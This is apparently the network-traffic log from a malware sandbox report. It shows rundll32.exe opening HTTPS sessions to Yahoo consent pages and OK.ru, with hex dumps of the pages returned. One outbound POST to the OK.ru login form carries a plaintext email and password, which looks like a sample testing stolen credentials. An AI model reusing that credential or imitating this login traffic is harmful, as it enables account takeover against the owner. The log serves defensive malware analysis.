2023-12-10 16:51:37 UTC	8272	IN	Data Raw: 63 74 69 6f 6e 20 4d 65 28 65 29 7b 76 61 72 20 74 2c 69 2c 6c 3d 74 68 69 73 2c 73 3d 6c 2e 63 6f 6e 66 69 67 3b 73 2e 65 6e 61 62 6c 65 64 26 26 28 69 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 69 2c 73 2c 6e 3d 6c 2e 63 72 65 61 74 65 45 6c 65 6d 2c 61 3d 6c 2e 74 72 65 6e 64 69 6e 67 2c 6f 3d 61 2e 6c 65 6e 67 74 68 2c 65 3d 6c 2e 63 6f 6e 66 69 67 2e 74 72 65 6e 64 69 6e 67 3b 69 66 28 30 3c 6f 29 7b 69 3d 6e 28 65 2e 63 74 6e 2c 22 6c 69 22 29 2c 74 3d 6e 28 65 2e 68 64 2c 22 64 69 76 22 29 2c 73 3d 6e 28 65 2e 75 6c 2c 22 75 6c 22 29 2c 69 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 74 29 3b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 6f 3b 72 2b 2b 29 73 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 61 5b 72 5d 2e 6c 69 29 3b 69 2e 61 70 70 65 6e Data Ascii: ction Me(e){var t,i,l=this,s=l.config;s.enabled&&(i=function(e,t){var i,s,n=l.createElem,a=l.trending,o=a.length,e=l.config.trending;if(0<o){i=n(e.ctn,"li"),t=n(e.hd,"div"),s=n(e.ul,"ul"),i.appendChild(t);for(var r=0;r<o;r++)s.appendChild(a[r].li);i.appen
2023-12-10 16:51:37 UTC	8112	IN	Data Raw: 7b 53 3a 22 53 63 68 65 64 75 6c 65 64 20 64 65 70 61 72 74 75 72 65 20 61 74 22 2c 41 3a 22 45 73 74 69 6d 61 74 65 64 20 61 72 72 69 76 61 6c 20 61 74 22 2c 4c 3a 22 41 72 72 69 76 65 64 20 61 74 22 7d 7d 7d 66 75 6e 63 74 69 6f 6e 20 73 74 28 65 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 63 6f 6e 66 69 67 2c 69 3d 74 68 69 73 2e 61 70 70 2e 66 6f 72 6d 61 74 2c 73 3d 65 2e 69 64 78 2c 6e 3d 65 2e 6d 2c 65 3d 65 2e 66 64 3b 74 2e 65 6e 61 62 6c 65 64 26 26 35 33 3d 3d 3d 6e 26 26 65 26 26 30 3d 3d 3d 73 26 26 22 31 2e 30 30 22 3d 3d 3d 65 2e 6e 75 6d 26 26 28 65 2e 74 69 74 6c 65 3d 69 28 74 2e 74 69 74 6c 65 54 70 6c 2c 5b 65 2e 66 72 6f 6d 55 6e 69 74 2c 65 2e 74 69 74 6c 65 5d 29 29 7d 66 75 6e 63 74 69 6f 6e 20 6e 74 28 65 2c 74 29 7b 76 61 72 20 69 3d Data Ascii: {S:"Scheduled departure at",A:"Estimated arrival at",L:"Arrived at"}}}function st(e){var t=this.config,i=this.app.format,s=e.idx,n=e.m,e=e.fd;t.enabled&&53===n&&e&&0===s&&"1.00"===e.num&&(e.title=i(t.titleTpl,[e.fromUnit,e.title]))}function nt(e,t){var i=
2023-12-10 16:51:37 UTC	16384	IN	Data Raw: 70 61 72 61 6d 73 29 2c 69 3d 69 2e 68 6f 73 74 2b 53 2e 62 75 69 6c 64 55 72 6c 28 69 2e 62 61 73 65 2c 74 29 2c 28 73 3d 6e 65 77 20 58 4d 4c 48 74 74 70 52 65 71 75 65 73 74 29 2e 6f 70 65 6e 28 22 47 45 54 22 2c 69 2c 21 30 29 2c 73 2e 77 69 74 68 43 72 65 64 65 6e 74 69 61 6c 73 3d 21 30 2c 73 2e 73 65 74 52 65 71 75 65 73 74 48 65 61 64 65 72 28 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 77 77 77 2d 66 6f 72 6d 2d 75 72 6c 65 6e 63 6f 64 65 64 22 29 2c 6e 2e 70 6c 61 63 65 68 6f 6c 64 65 72 7c 7c 28 73 2e 6f 6e 72 65 61 64 79 73 74 61 74 65 63 68 61 6e 67 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 73 2e 73 74 61 74 75 73 3b 28 34 3d 3d 73 2e 72 65 61 64 79 53 74 61 74 65 26 26 32 30 30 3c Data Ascii: params),i=i.host+S.buildUrl(i.base,t),(s=new XMLHttpRequest).open("GET",i,!0),s.withCredentials=!0,s.setRequestHeader("Content-type","application/x-www-form-urlencoded"),n.placeholder\|\|(s.onreadystatechange=function(){var e=s.status;(4==s.readyState&&200<
2023-12-10 16:51:37 UTC	120	IN	Data Raw: 2e 6e 61 6d 65 73 70 61 63 65 2c 69 3d 28 74 68 69 73 2e 66 64 61 74 61 3d 7b 71 75 65 72 79 3a 65 2e 71 2c 73 75 67 67 65 73 74 69 6f 6e 73 3a 7b 72 65 73 75 6c 74 73 3a 5b 5d 7d 7d 2c 74 68 69 73 2e 63 72 65 61 74 65 45 6c 65 6d 28 7b 74 61 67 3a 22 75 6c 22 7d 29 29 2c 73 3d 7b 7d 2c 6e 3d 28 73 5b 47 5d 3d 21 30 2c 73 5b 59 5d 3d 21 30 2c 73 5b 4b 5d 3d Data Ascii: .namespace,i=(this.fdata={query:e.q,suggestions:{results:[]}},this.createElem({tag:"ul"})),s={},n=(s[G]=!0,s[Y]=!0,s[K]=
2023-12-10 16:51:37 UTC	16264	IN	Data Raw: 21 30 2c 30 29 2c 61 3d 30 3b 61 3c 65 2e 72 2e 6c 65 6e 67 74 68 3b 61 2b 2b 29 7b 76 61 72 20 6f 2c 72 2c 6c 3d 65 2e 72 5b 61 5d 3b 73 5b 6c 2e 6d 5d 7c 7c 28 74 68 69 73 2e 66 64 61 74 61 2e 73 75 67 67 65 73 74 69 6f 6e 73 2e 72 65 73 75 6c 74 73 2e 70 75 73 68 28 7b 6b 65 79 3a 6c 2e 6b 2c 6d 72 6b 3a 6c 2e 6d 7d 29 2c 28 6f 3d 74 68 69 73 2e 63 72 65 61 74 65 45 6c 65 6d 28 7b 74 61 67 3a 22 6c 69 22 2c 63 73 73 3a 74 2b 22 2d 6f 70 74 22 7d 29 29 2e 69 6e 6e 65 72 48 54 4d 4c 3d 27 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 63 68 65 63 6b 62 6f 78 22 20 6e 61 6d 65 3d 22 27 2b 74 2b 27 2d 73 75 67 67 22 20 69 64 3d 22 27 2b 28 72 3d 74 2b 22 2d 73 75 67 67 2d 22 2b 6e 29 2b 27 22 20 76 61 6c 75 65 3d 22 27 2b 6c 2e 6b 2b 27 22 3e 3c 73 70 61 6e 3e 3c Data Ascii: !0,0),a=0;a<e.r.length;a++){var o,r,l=e.r[a];s[l.m]\|\|(this.fdata.suggestions.results.push({key:l.k,mrk:l.m}),(o=this.createElem({tag:"li",css:t+"-opt"})).innerHTML='<input type="checkbox" name="'+t+'-sugg" id="'+(r=t+"-sugg-"+n)+'" value="'+l.k+'"><span><
2023-12-10 16:51:37 UTC	4008	IN	Data Raw: 2d 72 74 20 7b 20 63 6f 6c 6f 72 3a 23 34 64 35 31 35 36 20 7d 23 72 65 73 75 6c 74 73 20 23 77 65 62 20 2e 41 6e 73 77 65 72 73 49 6e 74 6c 20 2e 63 6f 6d 70 41 72 74 69 63 6c 65 4c 69 73 74 20 64 69 76 2e 73 75 62 6c 69 6e 65 20 73 70 61 6e 20 7b 20 63 6f 6c 6f 72 3a 23 34 64 35 31 35 36 20 7d 23 77 65 62 20 2e 64 64 2e 48 6f 6c 69 64 61 79 20 2e 66 63 2d 66 69 72 73 74 7b 63 6f 6c 6f 72 3a 20 23 30 30 30 7d 23 72 65 73 75 6c 74 73 20 2e 74 72 65 6e 64 69 6e 67 6e 6f 77 63 61 72 6f 75 73 65 6c 76 32 20 68 34 2e 74 69 74 6c 65 20 73 70 61 6e 2c 20 23 72 65 73 75 6c 74 73 20 2e 74 72 65 6e 64 69 6e 67 6e 6f 77 63 61 72 6f 75 73 65 6c 76 32 20 2e 63 6f 6d 70 4c 69 73 74 20 6c 69 20 73 70 61 6e 20 73 74 72 6f 6e 67 20 7b 63 6f 6c 6f 72 3a 20 23 30 30 30 20 Data Ascii: -rt { color:#4d5156 }#results #web .AnswersIntl .compArticleList div.subline span { color:#4d5156 }#web .dd.Holiday .fc-first{color: #000}#results .trendingnowcarouselv2 h4.title span, #results .trendingnowcarouselv2 .compList li span strong {color: #000
2023-12-10 16:51:37 UTC	16384	IN	Data Raw: 6e 6e 65 72 2d 63 6f 6e 74 61 69 6e 65 72 7b 68 65 69 67 68 74 3a 31 30 30 25 3b 77 69 64 74 68 3a 31 30 30 25 3b 6f 70 61 63 69 74 79 3a 31 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 6f 70 61 63 69 74 79 20 2e 33 31 38 73 20 65 61 73 65 2d 69 6e 7d 23 73 70 63 68 74 2d 72 65 74 72 79 7b 63 6f 6c 6f 72 3a 23 30 46 36 39 46 46 3b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 3b 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 61 75 74 6f 7d 2e 73 70 63 68 74 2e 68 69 64 65 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 73 70 63 68 20 2e 62 75 74 74 6f 6e 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 23 65 65 65 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 31 30 30 25 3b 62 6f 74 74 6f 6d 3a 30 3b 62 Data Ascii: nner-container{height:100%;width:100%;opacity:1;transition:opacity .318s ease-in}#spcht-retry{color:#0F69FF;cursor:pointer;pointer-events:auto}.spcht.hide{display:none}.spch .button{background-color:#fff;border:1px solid #eee;border-radius:100%;bottom:0;b

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.6	50164	44.215.216.20	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:51:40 UTC	871	OUT	POST /v2/collectConsent?sessionId=1_cc-session_e7be092c-d11c-4e17-911f-bcd20a6e1ed5 HTTP/1.1 Host: consent.yahoo.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Accept-Encoding: gzip, deflate Cookie: A1=d=AQABBIDsdWUCEFbQwxvJf5_3XRgVnKk4Z0MFEgEBAQE-d2V_Zdww0iMA_eMAAA&S=AQAAAkj13MbtLlFgPLiRFZY31Kc; A3=d=AQABBIDsdWUCEFbQwxvJf5_3XRgVnKk4Z0MFEgEBAQE-d2V_Zdww0iMA_eMAAA&S=AQAAAkj13MbtLlFgPLiRFZY31Kc; A1S=d=AQABBIDsdWUCEFbQwxvJf5_3XRgVnKk4Z0MFEgEBAQE-d2V_Zdww0iMA_eMAAA&S=AQAAAkj13MbtLlFgPLiRFZY31Kc; GUCS=ASDNZaj0 Referer: https://consent.yahoo.com/v2/collectConsent?sessionId=1_cc-session_e7be092c-d11c-4e17-911f-bcd20a6e1ed5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8 Content-Length: 611 Content-Type: application/x-www-form-urlencoded
2023-12-10 16:51:40 UTC	611	OUT	Data Raw: 63 73 72 66 54 6f 6b 65 6e 3d 49 4d 31 6c 71 50 51 26 73 65 73 73 69 6f 6e 49 64 3d 31 5f 63 63 2d 73 65 73 73 69 6f 6e 5f 65 37 62 65 30 39 32 63 2d 64 31 31 63 2d 34 65 31 37 2d 39 31 31 66 2d 62 63 64 32 30 61 36 65 31 65 64 35 26 6f 72 69 67 69 6e 61 6c 44 6f 6e 65 55 72 6c 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 75 6b 2e 73 65 61 72 63 68 2e 79 61 68 6f 6f 2e 63 6f 6d 25 32 46 73 65 61 72 63 68 25 33 46 70 25 33 44 69 74 25 32 42 63 68 61 6e 67 65 25 32 42 6d 61 6e 61 67 65 6d 65 6e 74 25 32 42 63 6f 75 72 73 65 25 32 36 66 72 25 33 44 73 66 70 25 32 36 66 72 32 25 33 44 25 32 36 69 73 63 71 72 79 25 33 44 25 32 36 76 63 25 33 44 25 32 36 67 75 63 63 6f 75 6e 74 65 72 25 33 44 31 25 32 36 67 75 63 65 5f 72 65 66 65 72 72 65 72 25 33 44 61 48 52 Data Ascii: csrfToken=IM1lqPQ&sessionId=1_cc-session_e7be092c-d11c-4e17-911f-bcd20a6e1ed5&originalDoneUrl=https%3A%2F%2Fuk.search.yahoo.com%2Fsearch%3Fp%3Dit%2Bchange%2Bmanagement%2Bcourse%26fr%3Dsfp%26fr2%3D%26iscqry%3D%26vc%3D%26guccounter%3D1%26guce_referrer%3DaHR
2023-12-10 16:51:40 UTC	435	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 32 20 46 6f 75 6e 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 43 46 43 3d 41 51 41 42 43 41 46 6c 64 7a 70 6c 6e 55 4d 66 4e 51 52 71 26 73 3d 41 51 41 41 41 45 6e 31 50 55 75 75 26 67 3d 5a 58 58 73 70 67 3b 20 45 78 70 69 72 65 73 3d 54 75 65 2c 20 31 30 20 44 65 63 20 32 30 32 34 20 30 34 3a 35 31 3a 33 38 20 47 4d 54 3b 20 44 6f 6d 61 69 6e 3d 63 6f 6e 73 65 6e 74 2e 79 61 68 6f 6f 2e 63 6f 6d 3b 20 50 61 74 68 3d 2f 3b 20 53 65 63 75 72 65 0d 0a 53 65 72 76 65 72 3a 20 67 75 63 65 0d 0a 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 3b 20 69 6e 63 6c 75 64 65 53 75 62 44 6f 6d 61 Data Ascii: HTTP/1.1 302 FoundConnection: closeSet-Cookie: CFC=AQABCAFldzplnUMfNQRq&s=AQAAAEn1PUuu&g=ZXXspg; Expires=Tue, 10 Dec 2024 04:51:38 GMT; Domain=consent.yahoo.com; Path=/; SecureServer: guceStrict-Transport-Security: max-age=31536000; includeSubDoma

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.6	50169	217.20.155.16	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:51:41 UTC	680	OUT	POST /dk?bk=GuestMain&st.cmd=main&_prevCmd=main&tkn=5928&_cl.id=1577974135245&_clickLog=%5B%7B%22target%22%3A%22sign_in%22%7D%2C%7B%22registrationContainer%22%3A%22home.login_form%22%7D%5D HTTP/1.1 Host: m.ok.ru Keep-Alive: 300 Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36 Content-Type: application/x-www-form-urlencoded Content-Length: 106 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: https://m.ok.ru/ Origin: https://m.ok.ru Upgrade-Insecure-Requests: 1
2023-12-10 16:51:41 UTC	106	OUT	Data Raw: 66 72 2e 70 6f 73 74 65 64 3d 73 65 74 26 66 72 2e 6e 65 65 64 43 61 70 74 63 68 61 3d 26 66 72 2e 70 72 6f 74 6f 3d 31 26 66 72 2e 6c 6f 67 69 6e 3d 72 6f 6d 61 73 68 65 6b 61 40 6d 61 69 6c 2e 72 75 26 66 72 2e 70 61 73 73 77 6f 72 64 3d 39 38 33 31 30 31 26 62 75 74 74 6f 6e 5f 6c 6f 67 69 6e 3d 4c 6f 67 2b 69 6e Data Ascii: fr.posted=set&fr.needCaptcha=&fr.proto=1&fr.login=romasheka@mail.ru&fr.password=983101&button_login=Log+in
2023-12-10 16:51:42 UTC	830	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 35 31 3a 34 32 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 4a 53 45 53 53 49 4f 4e 49 44 3d 61 38 62 33 66 65 34 34 37 61 34 38 62 34 64 36 36 31 64 61 66 62 38 62 62 32 61 38 34 62 34 37 33 33 65 62 36 65 33 30 63 37 64 32 62 38 39 39 2e 38 36 61 61 63 32 Data Ascii: HTTP/1.1 200 Server: ApacheDate: Sun, 10 Dec 2023 16:51:42 GMTContent-Type: text/html;charset=UTF-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingSet-Cookie: JSESSIONID=a8b3fe447a48b4d661dafb8bb2a84b4733eb6e30c7d2b899.86aac2
2023-12-10 16:51:42 UTC	539	IN	Data Raw: 33 63 65 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 76 37 30 38 20 6e 6f 2d 6a 73 20 73 74 2d 6d 61 69 6e 20 73 69 64 65 62 61 72 2d 6f 6e 22 20 69 64 3d 22 72 6f 6f 74 22 20 6c 61 6e 67 3d 22 65 6e 22 20 64 61 74 61 2d 76 69 65 77 3d 22 64 6f 63 22 20 64 61 74 61 2d 66 75 6e 63 3d 22 61 6e 79 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 4b 20 73 6f 63 69 61 6c 20 6e 65 74 77 6f 72 6b 2e 20 43 6f 6d 6d 75 6e 69 63 61 74 69 6f 6e 20 77 69 74 68 20 66 72 69 65 6e 64 73 20 6f 6e 20 4f 4b 2e 20 59 6f 75 72 20 6d 65 65 74 69 6e 67 20 70 6c 61 63 65 20 77 69 74 68 20 63 6c 61 73 73 6d 61 74 65 73 2e 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 Data Ascii: 3cee<!DOCTYPE html><html class="v708 no-js st-main sidebar-on" id="root" lang="en" data-view="doc" data-func="any"><head><title>OK social network. Communication with friends on OK. Your meeting place with classmates.</title><meta http-equiv="Content-Ty
2023-12-10 16:51:42 UTC	1369	IN	Data Raw: 20 6e 65 74 77 6f 72 6b 20 77 68 65 72 65 20 79 6f 75 20 63 61 6e 20 66 69 6e 64 20 79 6f 75 72 20 6f 6c 64 20 66 72 69 65 6e 64 73 2e 20 43 6f 6d 6d 75 6e 69 63 61 74 69 6f 6e 2c 20 6f 6e 6c 69 6e 65 20 67 61 6d 65 73 2c 20 73 65 6e 64 20 67 69 66 74 73 20 61 6e 64 20 63 61 72 64 73 20 74 6f 20 66 72 69 65 6e 64 73 2e 20 43 6f 6d 65 20 74 6f 20 4f 4b 2c 20 61 6e 64 20 73 68 61 72 65 20 79 6f 75 72 20 65 6d 6f 74 69 6f 6e 73 20 77 69 74 68 20 66 72 69 65 6e 64 73 2c 20 63 6f 6c 6c 65 61 67 75 65 73 20 61 6e 64 20 63 6c 61 73 73 6d 61 74 65 73 2e 22 3e 3c 2f 6d 65 74 61 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6d 6f 62 69 6c 65 2d 77 65 62 2d 61 70 70 2d 63 61 70 61 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 79 65 73 22 3e 3c 2f 6d 65 74 61 3e 3c 6c 69 6e 6b Data Ascii: network where you can find your old friends. Communication, online games, send gifts and cards to friends. Come to OK, and share your emotions with friends, colleagues and classmates."></meta><meta name="mobile-web-app-capable" content="yes"></meta><link
2023-12-10 16:51:42 UTC	1369	IN	Data Raw: 3a 68 65 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 36 33 30 22 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 76 6b 3a 69 6d 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 73 3a 2f 2f 6d 2e 6f 6b 2e 72 75 2f 6d 72 65 73 2f 69 6d 67 2f 73 2f 6f 6b 5f 64 65 66 61 75 6c 74 5f 31 30 32 30 78 34 35 36 2e 70 6e 67 22 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 76 6b 3a 69 6d 61 67 65 3a 77 69 64 74 68 22 20 63 6f 6e 74 65 6e 74 3d 22 31 30 32 30 22 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 76 6b 3a 69 6d 61 67 65 3a 68 65 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 34 35 36 22 3e 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 74 77 69 74 74 65 72 3a 63 61 72 64 22 20 63 6f 6e 74 65 6e 74 3d 22 73 75 6d 6d 61 72 79 5f 6c 61 72 67 Data Ascii: :height" content="630"><meta property="vk:image" content="https://m.ok.ru/mres/img/s/ok_default_1020x456.png"><meta property="vk:image:width" content="1020"><meta property="vk:image:height" content="456"><meta property="twitter:card" content="summary_larg
2023-12-10 16:51:42 UTC	1369	IN	Data Raw: 33 39 39 29 20 2b 20 27 3b 70 61 74 68 3d 2f 27 3b 7d 29 28 77 69 6e 64 6f 77 29 3b 3c 2f 73 63 72 69 70 74 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 6c 6f 61 64 22 20 61 73 3d 22 66 6f 6e 74 22 20 68 72 65 66 3d 22 2f 6d 72 65 73 2f 66 6f 6e 74 2f 73 76 67 2f 63 6f 6d 6d 6f 6e 2f 73 76 67 2d 69 63 6f 6e 73 2e 77 6f 66 66 32 3f 62 32 36 32 32 66 36 35 62 62 66 66 66 61 33 64 36 30 64 35 65 65 63 64 63 64 31 36 35 33 63 65 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 3e 3c 2f 6c 69 6e 6b 3e 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 6d 72 65 73 2f 62 61 74 63 68 2f 6a 73 2f 72 65 61 63 74 38 35 39 35 61 32 61 38 2f 72 65 61 63 74 2d 6c 6f 61 64 65 72 2e 6a 73 22 20 72 65 6c 3d 22 70 72 65 66 65 74 63 68 22 20 61 73 3d 22 73 74 Data Ascii: 399) + ';path=/';})(window);</script><link rel="preload" as="font" href="/mres/font/svg/common/svg-icons.woff2?b2622f65bbfffa3d60d5eecdcd1653ce" crossorigin="anonymous"></link><link href="/mres/batch/js/react8595a2a8/react-loader.js" rel="prefetch" as="st
2023-12-10 16:51:42 UTC	1369	IN	Data Raw: 63 68 2f 63 73 73 2f 38 65 63 66 64 37 65 37 2f 6d 61 69 6e 2f 62 61 73 65 2f 69 63 6f 6e 73 2f 74 65 78 74 2d 69 63 6f 6e 2e 63 6f 72 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 2f 3e 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 6d 72 65 73 2f 62 61 74 63 68 2f 63 73 73 2f 38 65 63 66 64 37 65 37 2f 6d 61 69 6e 2f 6e 6f 68 74 74 70 32 2e 63 6f 72 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 2f 3e 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 6d 72 65 73 2f 62 61 74 63 68 2f 63 73 73 2f 38 65 63 66 64 37 65 37 2f 6d 61 69 6e 2f 70 72 6f 6a 65 63 74 2f 70 61 79 6d 65 6e 74 2f 70 61 79 6d 65 6e 74 2e 63 6f 72 65 2e 63 73 Data Ascii: ch/css/8ecfd7e7/main/base/icons/text-icon.core.css" type="text/css" rel="stylesheet"/><link href="/mres/batch/css/8ecfd7e7/main/nohttp2.core.css" type="text/css" rel="stylesheet"/><link href="/mres/batch/css/8ecfd7e7/main/project/payment/payment.core.cs
2023-12-10 16:51:42 UTC	1369	IN	Data Raw: 65 74 5f 72 75 62 79 32 5f 69 6d 67 20 7b 77 69 64 74 68 3a 20 31 32 30 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 7d 0d 0a 2e 64 61 69 6c 79 2d 72 65 77 61 72 64 2d 70 6f 72 74 6c 65 74 5f 73 74 61 72 31 5f 69 6d 67 20 7b 77 69 64 74 68 3a 20 34 30 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 7d 0d 0a 2e 64 61 69 6c 79 2d 72 65 77 61 72 64 2d 70 6f 72 74 6c 65 74 5f 70 69 70 65 31 5f 69 6d 67 20 7b 77 69 64 74 68 3a 20 39 36 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 7d 0d 0a 7d 0d 0a 0d 0a 2e 67 61 6d 65 2d 66 72 61 6d 65 5f 76 69 64 65 6f 61 64 76 20 2e 61 70 70 2d 76 69 64 65 6f 5f 6d 75 74 65 5f 6c 6b 2c 20 2e 67 61 6d 65 2d 66 72 61 6d 65 5f 76 69 64 65 6f 61 64 76 20 2e 61 70 70 2d 76 69 64 65 6f 5f 6c 61 62 65 6c 20 7b 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 Data Ascii: et_ruby2_img {width: 120px !important}.daily-reward-portlet_star1_img {width: 40px !important}.daily-reward-portlet_pipe1_img {width: 96px !important}}.game-frame_videoadv .app-video_mute_lk, .game-frame_videoadv .app-video_label {color: #ffffff
2023-12-10 16:51:42 UTC	1369	IN	Data Raw: 6c 61 79 3a 6e 6f 6e 65 3b 7d 0d 0a 66 6f 72 6d 20 2e 63 6f 6e 67 72 61 74 73 2d 71 75 69 7a 5f 71 75 65 73 74 69 6f 6e 5f 62 75 74 74 6f 6e 20 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 7d 0d 0a 0d 0a 0d 0a 2e 74 61 62 73 2e 5f 5f 73 74 69 63 6b 79 5f 5f 6a 70 30 74 71 20 7b 20 74 6f 70 3a 20 30 70 78 3b 20 7a 2d 69 6e 64 65 78 3a 20 31 34 39 3b 20 7d 0d 0a 0d 0a 0d 0a 2e 67 69 66 74 2d 73 65 63 74 69 6f 6e 2e 5f 5f 65 61 73 74 65 72 2d 67 69 66 74 73 2d 73 65 63 74 69 6f 6e 3a 62 65 66 6f 72 65 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 2f 69 2e 6d 79 63 64 6e 2e 6d 65 2f 69 3f 72 3d 41 44 46 64 75 41 38 36 30 7a 2d 75 5f 73 4e 76 4f 71 55 47 33 69 58 47 74 37 7a 71 36 71 68 4b 47 64 6a 6d 4c 79 7a 71 54 Data Ascii: lay:none;}form .congrats-quiz_question_button {display:inline-block;}.tabs.__sticky__jp0tq { top: 0px; z-index: 149; }.gift-section.__easter-gifts-section:before{background-image:url(//i.mycdn.me/i?r=ADFduA860z-u_sNvOqUG3iXGt7zq6qhKGdjmLyzqT
2023-12-10 16:51:42 UTC	1369	IN	Data Raw: 64 2d 69 6d 61 67 65 3a 75 72 6c 28 68 74 74 70 73 3a 2f 2f 69 2e 6d 79 63 64 6e 2e 6d 65 2f 69 3f 72 3d 41 44 46 64 75 41 38 36 30 7a 2d 75 5f 73 4e 76 4f 71 55 47 33 69 58 47 6a 74 39 46 77 63 32 4c 45 30 6b 54 53 55 37 46 4f 59 65 45 78 33 68 36 61 63 4f 34 7a 62 39 77 6a 43 58 6f 71 75 4d 6d 68 4e 59 29 3b 7d 7d 0d 0a 40 6d 65 64 69 61 20 28 6d 69 6e 2d 64 65 76 69 63 65 2d 77 69 64 74 68 3a 20 33 37 35 70 78 29 7b 2e 67 69 66 74 2d 73 65 63 74 69 6f 6e 2e 5f 5f 74 65 61 63 68 65 72 2d 62 67 2d 70 72 6f 6d 6f 3a 3a 62 65 66 6f 72 65 20 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 63 6f 6e 74 61 69 6e 3b 7d 7d 0d 0a 0d 0a 2e 67 69 66 74 2d 63 61 72 64 2e 5f 5f 66 72 65 65 2d 66 6f 72 2d 61 64 20 2e 67 69 66 74 2d 70 72 69 63 65 5f 74 65 78 74 2c Data Ascii: d-image:url(https://i.mycdn.me/i?r=ADFduA860z-u_sNvOqUG3iXGjt9Fwc2LE0kTSU7FOYeEx3h6acO4zb9wjCXoquMmhNY);}}@media (min-device-width: 375px){.gift-section.__teacher-bg-promo::before {background-size:contain;}}.gift-card.__free-for-ad .gift-price_text,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.6	50170	66.218.84.137	443	5584	C:\Windows\SysWOW64\rundll32.exe

